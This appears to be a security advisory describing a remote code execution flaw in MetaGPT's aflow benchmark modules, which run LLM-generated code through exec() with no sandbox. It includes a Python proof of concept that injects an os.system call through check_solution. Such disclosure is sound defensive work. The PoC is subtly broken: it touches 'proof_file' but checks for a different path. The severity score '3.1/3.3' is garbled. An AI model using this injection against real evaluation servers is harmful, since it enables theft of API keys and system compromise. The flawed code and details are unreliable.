### Key Vulnerability Summary **1. Vulnerability Overview** A critical Remote Code Execution (RCE) vulnerability exists in the `aflow` extension of MetaGPT. The benchmark evaluation modules (`HumanEvalBenchmark`, `MBPPBenchmark`) and the `operator.py` script utilize an insecure `exec()` function to execute code generated by Large Language Models (LLMs) without adequate sandboxing mechanisms. This allows attackers to execute arbitrary commands on the evaluation server via prompt injection or malicious datasets. **2. Scope of Impact** * **Affected Versions**: All versions containing the `aflow` extension (verified on the latest main branch). * **Severity**: Critical (CVSS 3.1/3.3). * **Specific Impacts**: * Complete system compromise. * Theft of API keys stored in environment variables (e.g., OpenAI, Anthropic). * Access to sensitive local files. * Data destruction. * The module is designed to run automatically within an optimization loop, meaning code execution occurs without explicit user intervention. **3. Vulnerable Code Locations** * `metagpt/ext/aflow/benchmark/humaneval.py` (Lines 77, 82) - `check_solution` method * `metagpt/ext/aflow/benchmark/mbpp.py` (Lines 50, 63) - `check_solution` method * `metagpt/ext/aflow/scripts/operator.py` (Line 228) - `exec_code` method **4. Proof of Concept (PoC)** ```python import sys import os # Ensure MetaGPT is in your python path sys.path.insert(0, "/path/to/MetaGPT") from metagpt.ext.aflow.benchmark.humaneval import HumanEvalBenchmark def main(): proof_file = "/tmp/simple_rce_proof" if os.path.exists(proof_file): os.remove(proof_file) # Malicious Payload: # We define a function 'solve' as expected by the benchmark. # but include a malicious payload using os.system. # The 'sanitize' function fails to remove this if it's constructed correctly # or if imports are allowed at module level (which they are in the current implementation). payload = """ import os def solve(x): os.system('touch proof_file') # Malicious command return x """ print("[*] Instantiating Benchmark...") be = HumanEvalBenchmark("test", "/tmp/dummy.json", "/tmp") print("[*] Triggering check_solution with malicious payload...") try: # The 2nd argument is the test code, which calls our malicious function be.check_solution(payload, "test check if: 'solve'") except Exception as e: print(f"[*] Execution finished (with expected error/pass): {e}") if os.path.exists(proof_file): print("[!] VULNERABLE: Arbitrary code executed successfully.") print(f"[*] Proof file created at: {proof_file}") else: print("[!] SAFE: Code execution failed.") if __name__ == "__main__": main() ``` **5. Remediation** According to the commit history at the bottom of the page, the fix is included in the commit `Security: Fix Critical RCE Vulnerabilities in Benchmark Evaluation`. The specific remediation involves correcting the `exec` calls, likely by implementing a sandboxing mechanism (such as `exec-sandbox`) to replace direct execution.